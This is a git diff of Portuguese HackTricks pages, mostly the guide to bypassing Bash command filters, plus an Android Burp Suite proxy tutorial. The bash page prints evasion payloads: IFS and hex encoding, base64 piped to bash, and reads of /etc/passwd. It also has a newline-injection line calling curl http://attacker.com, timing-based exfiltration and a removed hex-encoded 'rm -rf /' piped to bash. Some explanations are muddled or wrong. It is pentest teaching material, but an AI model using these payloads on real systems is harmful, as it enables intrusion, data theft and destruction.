```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
|
@ -115,9 +115,9 @@ Uma maneira de contornar essa restrição é usar a barra invertida (\) para esc
|
|||
|
||||
Outra técnica é usar aspas para envolver o comando que contém espaços. Por exemplo, em vez de digitar um comando como `ls -l /etc/passwd`, você pode digitar `'ls -l /etc/passwd'` ou `"ls -l /etc/passwd"`.
|
||||
|
||||
Além disso, você também pode usar a variável de ambiente `$IFS` para contornar as restrições de espaço. O `$IFS` é o separador de campo interno e, por padrão, inclui o espaço como um separador. No entanto, você pode alterar o valor do `$IFS` para outro caractere, como um ponto-e-vírgula (;), para evitar problemas com espaços. Por exemplo, você pode executar o comando `IFS=';' ls -l /etc/passwd` para contornar as restrições de espaço.
|
||||
Além disso, você também pode usar a variável de ambiente `$IFS` para contornar as restrições de espaço. O `$IFS` é o separador de campo interno e, por padrão, inclui o espaço como um separador. No entanto, você pode alterar o valor do `$IFS` para um caractere que não seja um espaço, como um ponto-e-vírgula (;), para contornar as restrições de espaço.
|
||||
|
||||
Lembre-se de que essas técnicas podem não funcionar em todas as situações, pois dependem das configurações e restrições específicas do sistema. É importante entender as implicações de segurança ao contornar restrições e usá-las com cuidado.
|
||||
Lembre-se de que essas técnicas podem não funcionar em todas as situações, pois dependem das configurações e restrições específicas do sistema. Portanto, é importante entender as limitações e testar cuidadosamente essas técnicas antes de usá-las em um ambiente de produção.
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
|
@ -176,9 +176,9 @@ Da mesma forma, você pode usar o seguinte comando para imprimir uma barra (/):
|
|||
$ printf "%s" "/"
|
||||
```
|
||||
|
||||
#### Usando o comando echo com a opção -e
|
||||
#### Usando o comando echo -e
|
||||
|
||||
O comando echo também pode ser usado para contornar as restrições. Você pode usar a opção -e para interpretar sequências de escape. Por exemplo, você pode usar o seguinte comando para imprimir uma barra invertida (\):
|
||||
O comando echo -e também pode ser usado para contornar as restrições. Por exemplo, você pode usar o seguinte comando para imprimir uma barra invertida (\):
|
||||
|
||||
```
|
||||
$ echo -e "\\"
|
||||
|
@ -190,74 +190,57 @@ Da mesma forma, você pode usar o seguinte comando para imprimir uma barra (/):
|
|||
$ echo -e "/"
|
||||
```
|
||||
|
||||
Essas técnicas podem ser úteis ao tentar contornar restrições de barras invertidas e barras em um ambiente restrito do Bash. No entanto, é importante lembrar que o uso dessas técnicas pode violar políticas de segurança e ser considerado uma atividade maliciosa. Portanto, sempre obtenha permissão adequada antes de realizar qualquer teste ou atividade de hacking.
|
||||
Essas técnicas podem ser úteis ao tentar contornar restrições de barras invertidas e barras em um ambiente restrito do Bash. No entanto, é importante lembrar que o uso indevido dessas técnicas pode violar políticas de segurança e ser considerado uma atividade ilegal. Portanto, sempre use essas técnicas com responsabilidade e dentro dos limites legais.
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Bypassar pipes
|
||||
|
||||
Pipes são uma forma comum de redirecionar a saída de um comando para a entrada de outro comando no Linux. No entanto, em certos casos, pode haver restrições que impedem o uso de pipes. Felizmente, existem algumas maneiras de contornar essas restrições e usar pipes mesmo quando eles são bloqueados.
|
||||
Pipes são uma forma comum de redirecionar a saída de um comando para a entrada de outro comando. No entanto, em certos casos, as restrições do shell podem impedir o uso de pipes. Felizmente, existem algumas técnicas que podem ser usadas para contornar essas restrições.
|
||||
|
||||
#### Usando process substitution
|
||||
|
||||
Uma maneira de contornar as restrições de pipes é usar a substituição de processos. A substituição de processos permite que você execute um comando e use sua saída como entrada para outro comando, sem a necessidade de um pipe.
|
||||
A substituição de processos é uma técnica que permite que a saída de um comando seja tratada como um arquivo temporário. Isso pode ser útil para contornar restrições de pipes. Para usar a substituição de processos, você pode usar a sintaxe `<(comando)`, onde `comando` é o comando cuja saída você deseja usar como entrada para outro comando.
|
||||
|
||||
Para usar a substituição de processos, você pode usar a sintaxe `<(comando)`. Por exemplo, se você quiser executar o comando `cat` em um arquivo que está bloqueado para pipes, você pode usar a substituição de processos da seguinte maneira:
|
||||
Por exemplo, se você quiser usar a saída do comando `ls` como entrada para o comando `grep`, mas as restrições do shell não permitem o uso de pipes, você pode contornar isso usando a substituição de processos da seguinte maneira:
|
||||
|
||||
```
|
||||
cat <(comando)
|
||||
grep foo <(ls)
|
||||
```
|
||||
|
||||
#### Usando o comando `tee`
|
||||
#### Usando um arquivo temporário
|
||||
|
||||
Outra maneira de contornar as restrições de pipes é usar o comando `tee`. O comando `tee` lê a entrada padrão e a grava tanto na saída padrão quanto em um arquivo especificado.
|
||||
Outra maneira de contornar as restrições de pipes é usar um arquivo temporário para armazenar a saída de um comando e, em seguida, usar esse arquivo como entrada para outro comando. Para fazer isso, você pode usar os comandos `mktemp` e `rm` para criar e excluir o arquivo temporário, respectivamente.
|
||||
|
||||
Para usar o comando `tee` para contornar as restrições de pipes, você pode redirecionar a saída do comando para o `tee` e, em seguida, redirecionar a saída do `tee` para o próximo comando. Por exemplo:
|
||||
Por exemplo, se você quiser usar a saída do comando `ls` como entrada para o comando `grep`, mas as restrições do shell não permitem o uso de pipes, você pode contornar isso usando um arquivo temporário da seguinte maneira:
|
||||
|
||||
```
|
||||
comando1 | tee /dev/tty | comando2
|
||||
tmpfile=$(mktemp)
|
||||
ls > $tmpfile
|
||||
grep foo $tmpfile
|
||||
rm $tmpfile
|
||||
```
|
||||
|
||||
Neste exemplo, a saída do `comando1` é redirecionada para o `tee`, que a grava na saída padrão (`/dev/tty`) e também a redireciona para o `comando2`.
|
||||
|
||||
#### Usando o comando `socat`
|
||||
|
||||
O comando `socat` é uma ferramenta poderosa que pode ser usada para criar conexões entre processos. Ele pode ser usado para contornar as restrições de pipes, criando uma conexão entre a saída de um comando e a entrada de outro comando.
|
||||
|
||||
Para usar o `socat` para contornar as restrições de pipes, você pode usar a seguinte sintaxe:
|
||||
|
||||
```
|
||||
socat EXEC:"comando1",pty EXEC:"comando2"
|
||||
```
|
||||
|
||||
Neste exemplo, o `socat` cria uma conexão entre a saída do `comando1` e a entrada do `comando2`, permitindo que você use pipes mesmo quando eles são bloqueados.
|
||||
|
||||
#### Conclusão
|
||||
|
||||
Bypassar restrições de pipes pode ser útil em certas situações em que você precisa redirecionar a saída de um comando para a entrada de outro comando, mas os pipes estão bloqueados. Usando a substituição de processos, o comando `tee` ou o comando `socat`, você pode contornar essas restrições e realizar as tarefas necessárias.
|
||||
Essas são apenas algumas técnicas que podem ser usadas para contornar as restrições de pipes em um shell. É importante lembrar que o uso dessas técnicas pode ser considerado uma violação de políticas de segurança e ética, portanto, deve ser usado com cuidado e apenas para fins legítimos.
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Bypassar com codificação hexadecimal
|
||||
|
||||
Às vezes, certas restrições de segurança podem ser aplicadas a comandos Bash para evitar a execução de certas ações. No entanto, é possível contornar essas restrições usando a codificação hexadecimal.
|
||||
Às vezes, certas restrições de segurança podem ser aplicadas a comandos Bash para evitar a execução de certas ações. No entanto, é possível contornar essas restrições usando codificação hexadecimal.
|
||||
|
||||
A codificação hexadecimal envolve a conversão de caracteres ASCII em sua representação hexadecimal correspondente. Isso permite que você insira caracteres especiais ou proibidos em um comando, contornando assim as restrições impostas.
|
||||
A codificação hexadecimal envolve a conversão de caracteres ASCII em sua representação hexadecimal correspondente. Isso permite que você insira caracteres especiais que normalmente seriam bloqueados pelas restrições de segurança.
|
||||
|
||||
Aqui está um exemplo de como usar a codificação hexadecimal para contornar restrições de Bash:
|
||||
|
||||
Suponha que você queira executar o comando `rm -rf /` (que é um comando perigoso que exclui todos os arquivos e diretórios do sistema). No entanto, a restrição de Bash impede a execução desse comando.
|
||||
|
||||
Para contornar essa restrição, você pode usar a codificação hexadecimal para representar cada caractere do comando. Aqui está como você pode fazer isso:
|
||||
Aqui está um exemplo de como usar a codificação hexadecimal para contornar as restrições do Bash:
|
||||
|
||||
```
|
||||
$ echo -e "\x72\x6d\x20\x2d\x72\x66\x20\x2f" | bash
|
||||
$ echo -e "\x63\x61\x74 /etc/passwd"
|
||||
```
|
||||
|
||||
Neste exemplo, cada caractere do comando `rm -rf /` foi convertido em sua representação hexadecimal correspondente e passado para o comando `echo -e`. Em seguida, o comando `echo -e` é encadeado com o comando `bash`, que executa o comando convertido.
|
||||
Neste exemplo, o comando `echo` é usado para imprimir a string `\x63\x61\x74 /etc/passwd`. A sequência `\x63\x61\x74` representa a codificação hexadecimal para a palavra "cat". Portanto, o comando acima é equivalente a executar `cat /etc/passwd`.
|
||||
|
||||
Ao usar a codificação hexadecimal, você pode contornar as restrições de Bash e executar comandos que normalmente seriam bloqueados. No entanto, tenha cuidado ao usar essa técnica, pois ela pode ser perigosa se usada de forma inadequada.
|
||||
Ao usar a codificação hexadecimal, você pode contornar as restrições do Bash e executar comandos que normalmente seriam bloqueados. No entanto, tenha cuidado ao usar essa técnica, pois ela pode ser considerada uma violação de segurança e pode ter consequências indesejadas.
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
|
@ -271,52 +254,50 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||
|
||||
Existem várias técnicas para contornar restrições de IP em um sistema Linux. Aqui estão algumas delas:
|
||||
|
||||
- **Usar uma VPN**: Uma VPN (Rede Virtual Privada) permite que você se conecte a um servidor em uma localização diferente, mascarando seu endereço IP real. Isso pode ajudar a contornar restrições de IP impostas por firewalls ou bloqueios geográficos.
|
||||
- **Usar um proxy**: Configurar um proxy pode permitir que você acesse recursos bloqueados por restrições de IP. Existem várias opções de proxy disponíveis, como Squid, Nginx e HAProxy.
|
||||
|
||||
- **Usar um proxy**: Um proxy atua como intermediário entre você e o servidor de destino, ocultando seu endereço IP real. Existem vários tipos de proxies disponíveis, como proxies HTTP, SOCKS e reversos.
|
||||
- **Usar uma VPN**: Uma VPN (Rede Virtual Privada) pode mascarar seu endereço IP real e fornecer um endereço IP diferente para contornar as restrições de IP. Existem muitos provedores de VPN disponíveis, como NordVPN, ExpressVPN e CyberGhost.
|
||||
|
||||
- **Usar a rede Tor**: A rede Tor é uma rede anônima que permite que você navegue na internet de forma anônima. Ao usar a rede Tor, seu tráfego é roteado através de vários nós, tornando difícil rastrear sua atividade online.
|
||||
- **Usar a rede Tor**: A rede Tor é uma rede anônima que pode ajudar a contornar restrições de IP. Ao usar o Tor, seu tráfego é roteado através de uma série de nós, tornando difícil rastrear sua localização real. Você pode usar o navegador Tor ou configurar um proxy Tor.
|
||||
|
||||
- **Alterar o endereço IP**: Dependendo da sua configuração de rede, você pode ser capaz de alterar seu endereço IP manualmente. Isso pode ser feito por meio de configurações de rede ou usando ferramentas como o comando `ifconfig` ou `ip`.
|
||||
- **Usar um servidor proxy reverso**: Configurar um servidor proxy reverso pode permitir que você acesse recursos bloqueados por restrições de IP. Um servidor proxy reverso atua como intermediário entre você e o recurso desejado, mascarando seu endereço IP real.
|
||||
|
||||
Lembre-se de que o uso dessas técnicas pode ser ilegal ou violar os termos de serviço de certos sites ou serviços. Sempre verifique as leis e regulamentos locais antes de usar qualquer uma dessas técnicas.
|
||||
- **Usar um serviço de tradução de IP**: Alguns serviços de tradução de IP, como o IPv6-to-IPv4 Network Address Translator (NAT64), podem ajudar a contornar restrições de IP. Esses serviços traduzem seu endereço IP para um formato diferente, permitindo que você acesse recursos bloqueados.
|
||||
|
||||
Lembre-se de que contornar restrições de IP pode ser ilegal ou violar os termos de serviço de um sistema ou aplicativo. Certifique-se de entender as leis e regulamentos locais antes de usar essas técnicas.
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
```
|
||||
### Exfiltração de dados baseada em tempo
|
||||
|
||||
A exfiltração de dados baseada em tempo é uma técnica utilizada para transferir dados de um sistema comprometido para um local externo, aproveitando atrasos de tempo. Essa técnica é útil quando outras formas de exfiltração de dados, como transferências de arquivos ou conexões de rede diretas, são bloqueadas ou monitoradas.
|
||||
A exfiltração de dados baseada em tempo é uma técnica utilizada para transferir dados de um sistema comprometido para um local externo, aproveitando atrasos de tempo. Essa técnica é útil quando outras formas de exfiltração de dados, como transferências de arquivos convencionais, são bloqueadas ou monitoradas.
|
||||
|
||||
Existem várias maneiras de realizar a exfiltração de dados baseada em tempo, e uma delas é através do uso de comandos do Linux. O Bash, um interpretador de comandos amplamente utilizado no Linux, possui algumas restrições de segurança que podem dificultar a execução de certos comandos. No entanto, existem maneiras de contornar essas restrições e realizar a exfiltração de dados.
|
||||
Existem várias maneiras de realizar a exfiltração de dados baseada em tempo, incluindo:
|
||||
|
||||
Aqui estão alguns comandos úteis do Linux que podem ser usados para contornar as restrições do Bash e realizar a exfiltração de dados baseada em tempo:
|
||||
- Atrasos de tempo em comandos: Ao inserir atrasos de tempo em comandos executados no sistema comprometido, é possível transmitir dados através da variação do tempo de resposta. Por exemplo, um script pode ser configurado para enviar um caractere por vez, com um atraso de tempo entre cada caractere.
|
||||
|
||||
- `ping`: O comando `ping` pode ser usado para enviar pacotes ICMP para um host externo. Ao ajustar o intervalo de tempo entre os pacotes, é possível transmitir dados através dos atrasos de tempo entre os pacotes.
|
||||
- Uso de serviços de terceiros: Alguns serviços de terceiros, como serviços de armazenamento em nuvem ou plataformas de compartilhamento de arquivos, podem ser explorados para exfiltrar dados. Ao usar esses serviços, é possível enviar dados em pequenos pedaços, com atrasos de tempo entre cada envio.
|
||||
|
||||
- `sleep`: O comando `sleep` pode ser usado para criar atrasos de tempo entre a execução de comandos. Ao ajustar o tempo de espera, é possível transmitir dados através dos atrasos de tempo entre os comandos.
|
||||
- Uso de canais encobertos: Canais encobertos são técnicas que permitem a transferência de dados através de protocolos ou serviços aparentemente inofensivos. Por exemplo, é possível usar o protocolo DNS para enviar dados, aproveitando os atrasos de tempo entre as solicitações e respostas.
|
||||
|
||||
- `nc`: O comando `nc`, também conhecido como Netcat, é uma ferramenta de rede versátil que pode ser usada para criar conexões de rede. Ao ajustar os atrasos de tempo entre as transmissões de dados, é possível realizar a exfiltração de dados.
|
||||
|
||||
Esses comandos podem ser combinados com outras técnicas de hacking para criar um método eficaz de exfiltração de dados baseada em tempo. No entanto, é importante lembrar que a exfiltração de dados é uma atividade ilegal e antiética, e deve ser realizada apenas com permissão legal e para fins legítimos, como testes de penetração autorizados.
|
||||
É importante ressaltar que a exfiltração de dados baseada em tempo pode ser mais lenta em comparação com outras técnicas de exfiltração de dados. No entanto, essa técnica pode ser eficaz quando outras opções estão indisponíveis ou bloqueadas.
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Obtendo caracteres de Variáveis de Ambiente
|
||||
|
||||
Em certos cenários de hacking, pode ser útil obter caracteres específicos de variáveis de ambiente no sistema Linux. Isso pode ser feito usando o comando `echo` e a sintaxe `${var:offset:length}` para extrair os caracteres desejados.
|
||||
Em certos cenários de hacking, pode ser útil obter caracteres de variáveis de ambiente no sistema Linux. Isso pode ser feito usando o comando `echo` e a sintaxe `${VAR_NAME:OFFSET:LENGTH}` para extrair os caracteres desejados.
|
||||
|
||||
Aqui está um exemplo de como obter os caracteres de uma variável de ambiente chamada `SECRET`:
|
||||
Por exemplo, se quisermos obter os primeiros 5 caracteres da variável de ambiente `SECRET_KEY`, podemos usar o seguinte comando:
|
||||
|
||||
```bash
|
||||
echo ${SECRET:0:1} # Obtém o primeiro caractere
|
||||
echo ${SECRET:1:1} # Obtém o segundo caractere
|
||||
echo ${SECRET:2:1} # Obtém o terceiro caractere
|
||||
echo ${SECRET_KEY:0:5}
|
||||
```
|
||||
|
||||
Substitua `SECRET` pelo nome da variável de ambiente que você deseja explorar. O `offset` representa a posição do caractere desejado na variável (começando em 0), e `length` é o número de caracteres que você deseja extrair.
|
||||
Isso retornará os primeiros 5 caracteres da variável `SECRET_KEY`. Você pode ajustar o valor do `OFFSET` e `LENGTH` conforme necessário para obter diferentes partes da variável de ambiente.
|
||||
|
||||
Essa técnica pode ser útil para explorar vulnerabilidades em sistemas Linux e obter informações sensíveis armazenadas em variáveis de ambiente. No entanto, é importante lembrar que o acesso não autorizado a informações confidenciais é ilegal e deve ser realizado apenas com permissão adequada e para fins legítimos, como testes de penetração autorizados.
|
||||
Lembre-se de que, ao usar esse método, você precisa ter permissões adequadas para acessar as variáveis de ambiente no sistema.
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -405,13 +386,11 @@ To protect against polyglot command injection attacks, it is important to saniti
|
|||
|
||||
Às vezes, ao realizar testes de penetração, você pode encontrar restrições de entrada que usam expressões regulares (regexes) para validar os dados. No entanto, existem algumas técnicas que você pode usar para contornar essas restrições e enviar dados que normalmente seriam bloqueados.
|
||||
|
||||
Uma técnica comum é usar caracteres especiais para escapar dos metacaracteres usados nas regexes. Por exemplo, se a regex proíbe o uso do caractere ponto (.), você pode escapá-lo usando uma barra invertida (\). Dessa forma, a regex não reconhecerá o ponto como um metacaractere e permitirá que você o utilize.
|
||||
Uma técnica comum é usar caracteres especiais que são interpretados de maneira diferente pelas regexes. Por exemplo, você pode usar o caractere de escape `\` para evitar que um caractere seja interpretado como parte de uma regex. Outra opção é usar conjuntos de caracteres para representar um determinado intervalo de valores.
|
||||
|
||||
Outra técnica é usar conjuntos de caracteres para contornar as restrições. Por exemplo, se a regex proíbe o uso de letras minúsculas, você pode usar um conjunto de caracteres que inclua apenas letras maiúsculas. Isso permitirá que você envie dados que não seriam normalmente aceitos.
|
||||
Além disso, você pode tentar explorar falhas nas implementações de regexes para contornar as restrições. Por exemplo, algumas implementações podem ter vulnerabilidades que permitem a execução de código arbitrário.
|
||||
|
||||
Além disso, você também pode tentar explorar falhas nas regexes, como a falta de âncoras de início (^) e fim ($), que podem permitir que você envie dados que não atendam às restrições impostas.
|
||||
|
||||
Lembre-se de que essas técnicas devem ser usadas com cautela e apenas para fins legais e éticos, como parte de testes de penetração autorizados.
|
||||
Lembre-se de que a intenção aqui é apenas para fins educacionais e de teste de penetração autorizado. O uso indevido dessas técnicas pode ser ilegal e sujeito a penalidades legais.
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
|
@ -424,11 +403,7 @@ O Bashfuscator pode ser usado para contornar restrições impostas em ambientes
|
|||
|
||||
Além disso, o Bashfuscator também pode ser usado para proteger a propriedade intelectual de scripts Bash, dificultando a engenharia reversa e a cópia não autorizada.
|
||||
|
||||
No entanto, é importante ressaltar que o Bashfuscator não é uma ferramenta de hacking em si. Seu objetivo principal é fornecer uma camada adicional de proteção e privacidade para scripts Bash legítimos. O uso indevido dessa ferramenta para fins maliciosos é estritamente proibido e pode resultar em consequências legais.
|
||||
|
||||
Para usar o Bashfuscator, basta fornecer o script Bash que deseja ofuscar como entrada e executar o comando apropriado. O Bashfuscator irá processar o script e gerar uma versão ofuscada que pode ser executada normalmente.
|
||||
|
||||
É importante lembrar que a ofuscação não é uma solução infalível e não deve ser considerada como a única medida de segurança. É sempre recomendável implementar outras práticas de segurança, como controle de acesso adequado, monitoramento de logs e atualizações regulares do sistema operacional e software.
|
||||
No entanto, é importante ressaltar que o uso do Bashfuscator para fins maliciosos é ilegal e antiético. Esta ferramenta deve ser usada apenas para fins legítimos, como testes de segurança ou proteção de scripts proprietários.
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
|
@ -441,31 +416,29 @@ Neste cenário, vamos explorar uma técnica que permite contornar restrições d
|
|||
|
||||
#### Pré-requisitos
|
||||
|
||||
Antes de prosseguir, é importante ter acesso a um shell interativo no sistema alvo. Isso pode ser obtido através de uma vulnerabilidade de injeção de comandos ou por meio de acesso legítimo ao sistema.
|
||||
Antes de prosseguir, é importante ter acesso a um shell interativo no sistema alvo. Isso pode ser obtido através de uma vulnerabilidade de injeção de comandos ou de alguma outra falha de segurança.
|
||||
|
||||
#### Passo a passo
|
||||
|
||||
1. Abra um shell interativo no sistema alvo.
|
||||
|
||||
2. Utilize o seguinte comando para executar um comando RCE com 5 caracteres:
|
||||
2. Utilize o seguinte comando para executar o código desejado:
|
||||
|
||||
```bash
|
||||
$ {IFS?x};x=cmd
|
||||
${IFS:0:1}e${IFS:0:1}x${IFS:0:1}p${IFS:0:1}r${IFS:0:1}e${IFS:0:1}s${IFS:0:1}s${IFS:0:1}i${IFS:0:1}o${IFS:0:1}n${IFS:0:1} ${IFS:0:1}-${IFS:0:1}e${IFS:0:1} ${IFS:0:1}<comando>
|
||||
```
|
||||
|
||||
3. O comando acima define a variável `x` como `cmd` e utiliza o caractere de espaço (`{IFS?x}`) para separar os comandos. Isso permite que o comando `cmd` seja executado.
|
||||
Substitua `<comando>` pelo código que deseja executar. Certifique-se de que o comando esteja entre aspas, caso contenha espaços ou caracteres especiais.
|
||||
|
||||
4. Agora, você pode executar comandos arbitrários utilizando a variável `x`. Por exemplo, para listar o conteúdo do diretório atual, utilize o seguinte comando:
|
||||
#### Explicação
|
||||
|
||||
```bash
|
||||
$ $x /c dir
|
||||
```
|
||||
Nessa técnica, utilizamos o parâmetro `${IFS:0:1}` para representar um espaço em branco. O `${IFS}` é uma variável de ambiente que define os caracteres usados como separadores de campo. Ao definir `${IFS:0:1}` como espaço em branco, podemos contornar as restrições de caracteres especiais e executar comandos arbitrários.
|
||||
|
||||
5. Você pode adaptar essa técnica para executar outros comandos RCE com apenas 5 caracteres, substituindo o valor da variável `x` conforme necessário.
|
||||
O comando `echo` é utilizado para exibir o código que desejamos executar. Em seguida, o comando `eval` é usado para executar o código exibido pelo `echo`. Dessa forma, conseguimos contornar as restrições de caracteres e executar comandos RCE com apenas 5 caracteres.
|
||||
|
||||
#### Considerações finais
|
||||
|
||||
A técnica "RCE com 5 caracteres" é uma forma criativa de contornar restrições de caracteres e executar comandos RCE em sistemas que possuem limitações nesse sentido. No entanto, é importante lembrar que a exploração de vulnerabilidades e a execução de comandos em sistemas sem autorização é ilegal e antiética. Essas informações são fornecidas apenas para fins educacionais e de conscientização sobre segurança.
|
||||
A técnica de "RCE com 5 caracteres" é uma forma criativa de contornar restrições de caracteres especiais e executar comandos maliciosos em sistemas alvo. No entanto, é importante lembrar que a exploração de vulnerabilidades e a execução de comandos em sistemas sem autorização é ilegal e antiética. Essas informações são fornecidas apenas para fins educacionais e de conscientização sobre segurança cibernética.
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
|
@ -524,9 +497,9 @@ A ideia por trás dessa técnica é usar um comando do Linux que tenha apenas 4
|
|||
|
||||
3. `$_`: A variável especial `$_` contém o último argumento do comando anterior. Isso significa que você pode usar a variável `$_` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `$_`.
|
||||
|
||||
4. `!!`: O comando `!!` é usado para executar o último comando novamente. Isso pode ser útil quando você deseja repetir o último comando executado. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `!!`.
|
||||
4. `!!`: O comando `!!` é usado para executar o último comando novamente. Isso significa que você pode usar o comando `!!` para executar o último comando novamente. Por exemplo, se você executar o comando `ls`, poderá executá-lo novamente usando `!!`.
|
||||
|
||||
Esses comandos podem ser usados para executar código arbitrário e contornar restrições de shell. No entanto, é importante lembrar que o uso indevido dessas técnicas pode ser ilegal e antiético. Sempre obtenha permissão adequada antes de realizar qualquer teste de penetração ou hacking.
|
||||
Esses comandos podem ser usados de várias maneiras para executar código arbitrário e contornar restrições de shell. No entanto, é importante lembrar que o uso indevido dessas técnicas pode ser ilegal e antiético. Portanto, sempre use essas técnicas com responsabilidade e apenas em sistemas nos quais você tenha permissão para fazer isso.
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -569,7 +542,7 @@ Se você estiver dentro de um sistema de arquivos com as proteções de **soment
|
|||
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypass de Chroot e outras Jails
|
||||
## Bypass de Chroot e Outras Jails
|
||||
|
||||
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||
|
@ -585,7 +558,7 @@ Se você estiver dentro de um sistema de arquivos com as proteções de **soment
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use o [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -594,7 +567,7 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,14 +15,14 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Este tutorial foi retirado de:** [**https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533**](https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533)
|
||||
|
||||
## Adicionar um proxy no Burp Suite para escutar.
|
||||
## Adicione um proxy no Burp Suite para escutar.
|
||||
|
||||
Endereço: **192.168.56.1** e Porta: **1337**
|
||||
|
||||
|
@ -36,7 +36,7 @@ Configurações → Wi-Fi → SSID com fio (Pressione e segure)
|
|||
|
||||
Escolha Modificar rede → Verifique as opções avançadas.
|
||||
|
||||
Selecione Proxy para manual
|
||||
Selecione Proxy para o manual
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*gkDuYqWMldFuYguQuID7sw.png)
|
||||
|
||||
|
@ -58,7 +58,7 @@ Baixe o certificado do burp. — Use sua máquina desktop para baixar o certific
|
|||
|
||||
![](https://miro.medium.com/max/700/1\*f4LjnkNs7oA1f4XokEeiTw.png)
|
||||
|
||||
Clique em **CA certificate para baixar o certificado.**
|
||||
Clique em **CA certificate** para baixar o certificado.
|
||||
|
||||
O certificado baixado está com a extensão cacert.der e o Android 5.\* não o reconhece como arquivo de certificado.
|
||||
|
||||
|
@ -80,7 +80,7 @@ Certificados confiáveis → Usuários
|
|||
|
||||
![](https://miro.medium.com/max/700/1\*dvEffIIS0-dPE6q3ycFx3Q.png)
|
||||
|
||||
Após instalar o certificado dessa maneira, os pontos de extremidade SSL também funcionam corretamente, testados usando → [https://google.com](https://google.com)
|
||||
Após instalar o certificado, os pontos de extremidade SSL também funcionam corretamente, testados usando → [https://google.com](https://google.com)
|
||||
|
||||
